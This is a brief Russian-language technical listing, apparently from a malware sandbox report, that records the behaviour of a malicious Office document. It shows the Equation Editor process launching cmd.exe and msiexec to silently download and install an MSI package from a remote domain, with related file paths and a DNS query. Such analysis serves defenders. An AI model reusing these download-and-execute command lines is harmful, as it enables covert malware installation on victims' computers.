Техническая информация
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://juupajoenmll.fi/rinzoo.msi /quiet
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{a9c05ebc-2e1b-41d9-a308-246b7dcc9fdf}.tmp
- DNS ASK ju###joenmll.fi
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://juupajoenmll.fi/rinzoo.msi /quiet' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://juupajoenmll.fi/rinzoo.msi /quiet
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding